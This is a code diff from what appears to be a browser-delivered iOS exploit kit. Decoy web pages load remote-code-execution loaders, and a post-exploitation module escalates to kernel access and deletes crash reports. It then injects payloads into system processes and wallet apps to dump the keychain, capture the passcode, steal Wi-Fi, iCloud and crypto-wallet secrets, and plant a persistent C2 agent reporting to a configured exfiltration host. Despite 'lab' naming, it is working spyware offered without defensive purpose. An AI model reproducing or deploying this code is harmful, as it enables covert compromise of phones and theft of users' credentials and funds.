if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
|
||||
fetch(apiUrl('/api/ds/log?' + q), {
|
||||
method: 'GET',
|
||||
headers: id ? { 'X-Device-UUID': id } : {}
|
||||
}).catch(function () {});
|
||||
})();
|
||||
|
||||
|
||||
function setHold(kind) {
|
||||
try {
|
||||
var ts = String(Date.now());
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
if (kind === 'rce' || kind === 'all') {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
}
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
if (chain === 'coruna') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Prefer full group.html entry when top-level; inside iframe use loader
|
||||
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
|
||||
? window.__LAB_ENTRY__
|
||||
: '/coruna/group.html';
|
||||
try {
|
||||
if (window.top === window) {
|
||||
location.replace(assetUrl(corunaEntry) + (location.search || ''));
|
||||
return;
|
||||
}
|
||||
} catch (eTop) {}
|
||||
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'silkpath') {
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
|
||||
// reload the page while stage1 is still running (looks like "auto refresh").
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
// Load plaintext rce_loader.js
|
||||
loadChainLoader(function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else {
|
||||
loadScript(assetUrl('/chain_blocked.js'), function () {
|
||||
notify('loader', STAGE.loader);
|
||||
});
|
||||
}
|
||||
|
||||
var _log = console.log;
|
||||
console.log = function () {
|
||||
var msg = Array.prototype.join.call(arguments, ' ');
|
||||
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
|
||||
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
|
||||
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
|
||||
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
|
||||
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
|
||||
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
|
||||
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
|
||||
}
|
||||
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
|
||||
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
|
||||
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
return _log.apply(console, arguments);
|
||||
};
|
||||
})();
|
||||
@@ -0,0 +1,18 @@
|
||||
window.NEWS2_CONFIG = {
|
||||
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
|
||||
deliveryHost: "",
|
||||
deliveryPath: "/next-chain",
|
||||
qqtimePath: "/qqtime/",
|
||||
// C2 / API → coruna-lab :8000
|
||||
exfil: {
|
||||
host: "192.168.31.130",
|
||||
domain: "192.168.31.130",
|
||||
http_port: 8000,
|
||||
https_port: 8000,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
},
|
||||
redirectUrl: "https://ab.ux600.com",
|
||||
countdownSeconds: 8,
|
||||
};
|
||||
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
|
||||
@@ -0,0 +1,67 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="theme-color" content="#ffffff" />
|
||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||
<title></title>
|
||||
<style>
|
||||
* { box-sizing: border-box; margin: 0; padding: 0; }
|
||||
html, body { width: 100%; height: 100%; overflow: hidden; background: #fff; }
|
||||
.page { width: 100%; height: 100%; min-height: 100vh; min-height: 100dvh; background: #fff; position: relative; }
|
||||
.top-progress { position: fixed; top: 0; left: 0; width: 100%; height: 2px; z-index: 9999; pointer-events: none; background: transparent; overflow: hidden; }
|
||||
.top-progress-bar { height: 100%; width: 0; background: #007aff; border-radius: 0 1px 1px 0; box-shadow: 0 0 6px rgba(0, 122, 255, 0.45); transform-origin: left center; will-change: width, opacity; }
|
||||
.top-progress.is-done .top-progress-bar { opacity: 0; transition: opacity 0.2s ease; }
|
||||
@media (prefers-reduced-motion: reduce) { .top-progress-bar { transition: none !important; } }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page">
|
||||
<div class="top-progress" id="topProgress" aria-hidden="true">
|
||||
<div class="top-progress-bar" id="topProgressBar"></div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script>
|
||||
var LOADING_MS = 8000;
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
|
||||
|
||||
(function () {
|
||||
var bar = document.getElementById('topProgressBar');
|
||||
var wrap = document.getElementById('topProgress');
|
||||
var start = Date.now();
|
||||
|
||||
function setProgress(value) { bar.style.width = Math.max(0, Math.min(100, value)) + '%'; }
|
||||
|
||||
function tick() {
|
||||
var elapsed = Date.now() - start;
|
||||
var ratio = elapsed / LOADING_MS;
|
||||
var next;
|
||||
if (ratio < 0.35) { next = ratio / 0.35 * 68; }
|
||||
else if (ratio < 0.85) { next = 68 + (ratio - 0.35) / 0.5 * 22; }
|
||||
else if (ratio < 1) { next = 90 + (ratio - 0.85) / 0.15 * 9; }
|
||||
else { next = 100; }
|
||||
setProgress(next);
|
||||
if (elapsed < LOADING_MS) { window.requestAnimationFrame(tick); }
|
||||
else {
|
||||
setProgress(100);
|
||||
wrap.className = 'top-progress is-done';
|
||||
window.setTimeout(function () { window.location.replace(REDIRECT_URL); }, 120);
|
||||
}
|
||||
}
|
||||
window.requestAnimationFrame(tick);
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,179 @@
|
||||
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
|
||||
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
|
||||
(function (g) {
|
||||
if (!g) return;
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || "").replace(/\/+$/, "");
|
||||
}
|
||||
|
||||
function ensureSlashPath(p) {
|
||||
p = String(p || "");
|
||||
if (!p) return "";
|
||||
return p.charAt(0) === "/" ? p : "/" + p;
|
||||
}
|
||||
|
||||
function joinBase(base, path) {
|
||||
base = trimSlash(base);
|
||||
path = String(path || "");
|
||||
if (!path) return base;
|
||||
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
|
||||
if (path.charAt(0) !== "/") path = "/" + path;
|
||||
return base + path;
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || "")
|
||||
.replace(/^https?:\/\//, "")
|
||||
.split("/")[0]
|
||||
.split(":")[0];
|
||||
}
|
||||
|
||||
function defaultExfil() {
|
||||
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
|
||||
return {
|
||||
host: domain,
|
||||
domain: domain,
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
stats_url: "",
|
||||
stats_url_direct: "",
|
||||
delivery_stats_url: "",
|
||||
};
|
||||
}
|
||||
|
||||
function inferDeliveryHost() {
|
||||
try {
|
||||
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
|
||||
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (chained && g.location.origin && g.location.origin !== "null") {
|
||||
return trimSlash(g.location.origin) + chained[1];
|
||||
}
|
||||
} catch (eBoot) {}
|
||||
try {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
|
||||
if (cfg.deliveryPath) {
|
||||
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
|
||||
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
|
||||
}
|
||||
} catch (e1) {}
|
||||
try {
|
||||
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
|
||||
var origin = trimSlash(g.location.origin);
|
||||
var path = String(g.location.pathname || "/");
|
||||
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
} catch (e2) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
|
||||
if (!ex || !ex.host) return cur;
|
||||
g.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host) || cur.host,
|
||||
domain: hostOnly(ex.domain || ex.host) || cur.domain,
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
|
||||
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
|
||||
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
|
||||
stats_url: ex.stats_url || cur.stats_url || "",
|
||||
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
|
||||
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
|
||||
};
|
||||
return g.__LAB_EXFIL__;
|
||||
}
|
||||
|
||||
function apiOrigin(ex) {
|
||||
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
|
||||
var host = hostOnly(ex.host);
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
|
||||
var scheme = tls ? "https" : "http";
|
||||
var origin = scheme + "://" + host;
|
||||
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return origin;
|
||||
}
|
||||
|
||||
function ensureHosts() {
|
||||
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
|
||||
var d = inferDeliveryHost();
|
||||
if (d) g.__LAB_DELIVERY_HOST__ = d;
|
||||
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
|
||||
}
|
||||
|
||||
function applyNews2Config() {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
|
||||
} else if (cfg.deliveryPath) {
|
||||
try {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
|
||||
} catch (e) {}
|
||||
}
|
||||
if (cfg.exfil) applyExfil(cfg.exfil);
|
||||
ensureHosts();
|
||||
}
|
||||
|
||||
g.labTrimSlash = trimSlash;
|
||||
g.labJoinBase = joinBase;
|
||||
g.labInferDeliveryHost = inferDeliveryHost;
|
||||
g.labDeliveryHost = function () {
|
||||
ensureHosts();
|
||||
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
|
||||
};
|
||||
g.labDeliveryUrl = function (path) {
|
||||
return joinBase(g.labDeliveryHost(), path);
|
||||
};
|
||||
g.labApiOrigin = function () {
|
||||
ensureHosts();
|
||||
return apiOrigin(g.__LAB_EXFIL__);
|
||||
};
|
||||
g.labApiUrl = function (path) {
|
||||
return joinBase(g.labApiOrigin(), path);
|
||||
};
|
||||
g.labApplyExfil = applyExfil;
|
||||
g.labEnsureHosts = ensureHosts;
|
||||
g.labApplyNews2Config = applyNews2Config;
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || "").trim().slice(0, 64);
|
||||
if (!code) return "";
|
||||
g.__LAB_CHANNEL_CODE__ = code;
|
||||
try {
|
||||
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
|
||||
} catch (e1) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function readChannelCode() {
|
||||
try {
|
||||
var path = (g.location && g.location.pathname) || "";
|
||||
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e3) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
g.labChannelCode = function () {
|
||||
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
|
||||
return readChannelCode();
|
||||
};
|
||||
|
||||
ensureHosts();
|
||||
try {
|
||||
g.labChannelCode();
|
||||
} catch (eCh) {}
|
||||
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
|
||||
@@ -0,0 +1,329 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
import Native from "libs/Chain/Native";
|
||||
import Chain from "libs/Chain/Chain";
|
||||
import TaskRop from "libs/TaskRop/TaskRop";
|
||||
import Task from "libs/TaskRop/Task";
|
||||
import Sandbox from "libs/TaskRop/Sandbox";
|
||||
import Utils from "libs/JSUtils/Utils";
|
||||
import InjectJS from "./InjectJS";
|
||||
import Driver from "libs/Driver/Driver";
|
||||
import RemoteCall from "libs/TaskRop/RemoteCall";
|
||||
import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js";
|
||||
import loaderCode from "!raw-loader!loader.js";
|
||||
import fileDownloaderCode from "!raw-loader!file_downloader.js";
|
||||
import keychainCopierCode from "!raw-loader!keychain_copier.js";
|
||||
import wifiDumpCode from "!raw-loader!wifi_password_dump.js";
|
||||
import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js";
|
||||
import iCloudDumperCode from "!raw-loader!icloud_dumper.js";
|
||||
|
||||
import keychainDumperCode from "!raw-loader!keychain_dumper.js";
|
||||
import passcodeCaptureCode from "!raw-loader!passcode_capture.js";
|
||||
import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js";
|
||||
import walletExtractorCode from "!raw-loader!wallet_extractor.js";
|
||||
import ghostNativeStub from "!raw-loader!ghost_native_stub.js";
|
||||
import ghostHttpClient from "!raw-loader!ghost_http_client.js";
|
||||
import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js";
|
||||
import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js";
|
||||
import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js";
|
||||
import ghostKnifeClient from "!raw-loader!ghost_knife_client.js";
|
||||
|
||||
const ghostSaberPayload = [
|
||||
ghostNativeStub,
|
||||
ghostHttpClient,
|
||||
ghostFollowonLoader,
|
||||
ghostSharedChannel,
|
||||
ghostSaberAgent,
|
||||
].join("\n");
|
||||
const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n");
|
||||
|
||||
class MigFilterBypass {
|
||||
|
||||
#running;
|
||||
#sharedMem;
|
||||
#runFlagPtr;
|
||||
#isRunningPtr;
|
||||
#monitorThread1Ptr;
|
||||
#monitorThread2Ptr;
|
||||
#mutexPtr;
|
||||
|
||||
constructor(mutexPtr) {
|
||||
this.#mutexPtr = mutexPtr;
|
||||
this.#running = false;
|
||||
this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100));
|
||||
this.#runFlagPtr = this.#sharedMem;
|
||||
this.#isRunningPtr = this.#sharedMem + 0x4n;
|
||||
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
|
||||
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
|
||||
Native.write32(this.#runFlagPtr, 2);
|
||||
Native.write32(this.#isRunningPtr, 0);
|
||||
}
|
||||
|
||||
start() {
|
||||
if (this.#running)
|
||||
return;
|
||||
|
||||
let threadSelf = BigInt(Native.callSymbol("mach_thread_self"));
|
||||
let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf));
|
||||
|
||||
|
||||
let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400));
|
||||
let kernelRW = Chain.transferRW();
|
||||
let kernelBase = BigInt(Chain.getKernelBase());
|
||||
Native.write64(threadMem, BigInt(kernelRW.controlSocket));
|
||||
Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
|
||||
Native.write64(threadMem + 0x10n, kernelBase);
|
||||
Native.write64(threadMem + 0x18n, threadSelfAddr);
|
||||
Native.write64(threadMem + 0x20n, this.#runFlagPtr);
|
||||
Native.write64(threadMem + 0x28n, this.#isRunningPtr);
|
||||
Native.write64(threadMem + 0x30n, this.#mutexPtr);
|
||||
Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock));
|
||||
Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg));
|
||||
Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR));
|
||||
Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr);
|
||||
Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr);
|
||||
//Native.write64(threadMem, lock.kernelSlide);
|
||||
//Native.write64(threadMem + 0x8n, lock.lockAddr);
|
||||
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
|
||||
const threadCode = "fcall_init(); " + MigFilterBypassThreadCode;
|
||||
Chain.threadSpawn(threadCode, threadMem);
|
||||
|
||||
for (let i=0; i<10; i++) {
|
||||
let isRunning = Native.read32(this.#isRunningPtr);
|
||||
if (isRunning)
|
||||
break;
|
||||
Native.callSymbol("usleep", 500000);
|
||||
}
|
||||
|
||||
this.#running = true;
|
||||
}
|
||||
|
||||
stop() {
|
||||
if (!this.#running)
|
||||
return;
|
||||
|
||||
Native.write32(this.#runFlagPtr, 0);
|
||||
Native.callSymbol("sleep", 1);
|
||||
this.#running = false;
|
||||
}
|
||||
|
||||
pause() {
|
||||
Native.write32(this.#runFlagPtr, 2);
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
resume() {
|
||||
Native.write32(this.#runFlagPtr, 1);
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
monitorThreads(thread1, thread2) {
|
||||
Native.write64(this.#monitorThread1Ptr, thread1);
|
||||
Native.write64(this.#monitorThread2Ptr, thread2);
|
||||
}
|
||||
}
|
||||
function xnuVersion() {
|
||||
Native.callSymbol("uname", Native.mem);
|
||||
const release = Native.readString(Native.mem + 0x200n, 0x100);
|
||||
let splittedVersion = release.split(".");
|
||||
let xnuMajor = splittedVersion[0];
|
||||
let xnuMinor = splittedVersion[1];
|
||||
return {major: xnuMajor, minor: xnuMinor};
|
||||
}
|
||||
|
||||
const TAG = "MAIN";
|
||||
//const targetProcess = "bluetoothd";
|
||||
const targetProcess = "SpringBoard";
|
||||
|
||||
function start() {
|
||||
let mutexPtr = null;
|
||||
let migFilterBypass = null;
|
||||
globalThis.xnuVersion = xnuVersion();
|
||||
let ver = globalThis.xnuVersion;
|
||||
|
||||
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
|
||||
if (ver.major == 24 && ver.minor >= 4) {
|
||||
|
||||
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
|
||||
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
|
||||
migFilterBypass = new MigFilterBypass(mutexPtr);
|
||||
}
|
||||
let driver = new Driver();
|
||||
|
||||
Chain.init(driver, mutexPtr);
|
||||
|
||||
let resultPE = Chain.runPE();
|
||||
if (!resultPE)
|
||||
return;
|
||||
|
||||
|
||||
TaskRop.init();
|
||||
if(migFilterBypass)
|
||||
migFilterBypass.start();
|
||||
let launchdTask = new RemoteCall("launchd",migFilterBypass);
|
||||
if (!launchdTask.success()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Sandbox.initWithLaunchdTask(launchdTask);
|
||||
Sandbox.deleteCrashReports();
|
||||
Sandbox.createTokens();
|
||||
|
||||
let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass);
|
||||
let agentPid = 0;
|
||||
|
||||
if (agentLoader.inject()) {
|
||||
agentPid = agentLoader.task.pid();
|
||||
Sandbox.applyTokensForRemoteTask(agentLoader.task);
|
||||
Sandbox.adjustMemoryPressure(targetProcess);
|
||||
|
||||
agentLoader.destroy();
|
||||
}
|
||||
|
||||
// Phase order:
|
||||
// 0x45 keychain_copier → configd (must run BEFORE file_downloader)
|
||||
// 0x46 keychain_dumper → securityd
|
||||
// 0x47 passcode_capture → SpringBoard
|
||||
// 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag)
|
||||
// 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps
|
||||
// 0x4B icloud_dumper → UserEventAgent
|
||||
// 0x49 wifi_password_dump → wifid
|
||||
// 0x4A wifi_password_securityd → securityd
|
||||
|
||||
const keychainProcess = "configd";
|
||||
let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass);
|
||||
if (keychainCopier.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(keychainCopier.task);
|
||||
keychainCopier.destroy();
|
||||
}
|
||||
|
||||
const securitydProcess = "securityd";
|
||||
let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass);
|
||||
if (keychainDumper.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(keychainDumper.task);
|
||||
keychainDumper.destroy();
|
||||
}
|
||||
|
||||
try {
|
||||
let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass);
|
||||
if (passcodeCap.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(passcodeCap.task);
|
||||
passcodeCap.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
// Brief settle so configd/securityd can land files in /tmp before FD starts
|
||||
try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {}
|
||||
|
||||
try {
|
||||
let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass);
|
||||
if (fileDownloader.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(fileDownloader.task);
|
||||
fileDownloader.destroy();
|
||||
}
|
||||
} catch (injectError) {}
|
||||
|
||||
// 0x4D — wallet app processes (best-effort; skip if not running)
|
||||
const walletProcesses = [
|
||||
"Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken",
|
||||
"Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal",
|
||||
"Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic",
|
||||
];
|
||||
const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode;
|
||||
for (let wi = 0; wi < walletProcesses.length; wi++) {
|
||||
try {
|
||||
let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass);
|
||||
if (wDump.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wDump.task);
|
||||
wDump.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// Also run extractor in SpringBoard (pasteboard / residual ObjC)
|
||||
try {
|
||||
let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass);
|
||||
if (sbExtract.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(sbExtract.task);
|
||||
sbExtract.destroy();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
const userEventAgentProcess = "UserEventAgent";
|
||||
let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass);
|
||||
if (iCloudDumper.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(iCloudDumper.task);
|
||||
iCloudDumper.destroy();
|
||||
}
|
||||
|
||||
const wifidProcess = "wifid";
|
||||
let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass);
|
||||
if (wifiDump.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wifiDump.task);
|
||||
wifiDump.destroy();
|
||||
}
|
||||
|
||||
let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass);
|
||||
if (wifiDumpSecurityd.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task);
|
||||
wifiDumpSecurityd.destroy();
|
||||
}
|
||||
|
||||
const p0Signals = [
|
||||
"/tmp/keychain-2.db",
|
||||
"/tmp/keychain_full_dump.txt",
|
||||
"/tmp/wallet_mnemonic_scan.txt",
|
||||
"/tmp/wifi_passwords.txt",
|
||||
"/private/var/tmp/wifi_passwords.txt",
|
||||
];
|
||||
for (let round = 0; round < 24; round++) {
|
||||
let ready = 0;
|
||||
for (let i = 0; i < p0Signals.length; i++) {
|
||||
const probe = p0Signals[i];
|
||||
const fd = Native.callSymbol("open", probe, 0);
|
||||
if (Number(fd) >= 0) {
|
||||
Native.callSymbol("close", fd);
|
||||
ready++;
|
||||
}
|
||||
}
|
||||
if (ready >= 2) break;
|
||||
if (ready >= 1 && round >= 12) break;
|
||||
Native.callSymbol("sleep", 1);
|
||||
}
|
||||
|
||||
// (file_downloader already injected after keychain stages — no second pass)
|
||||
|
||||
// GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab)
|
||||
try {
|
||||
let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass);
|
||||
if (ghostSaber.inject()) {
|
||||
Sandbox.applyTokensForRemoteTask(ghostSaber.task);
|
||||
ghostSaber.destroy();
|
||||
}
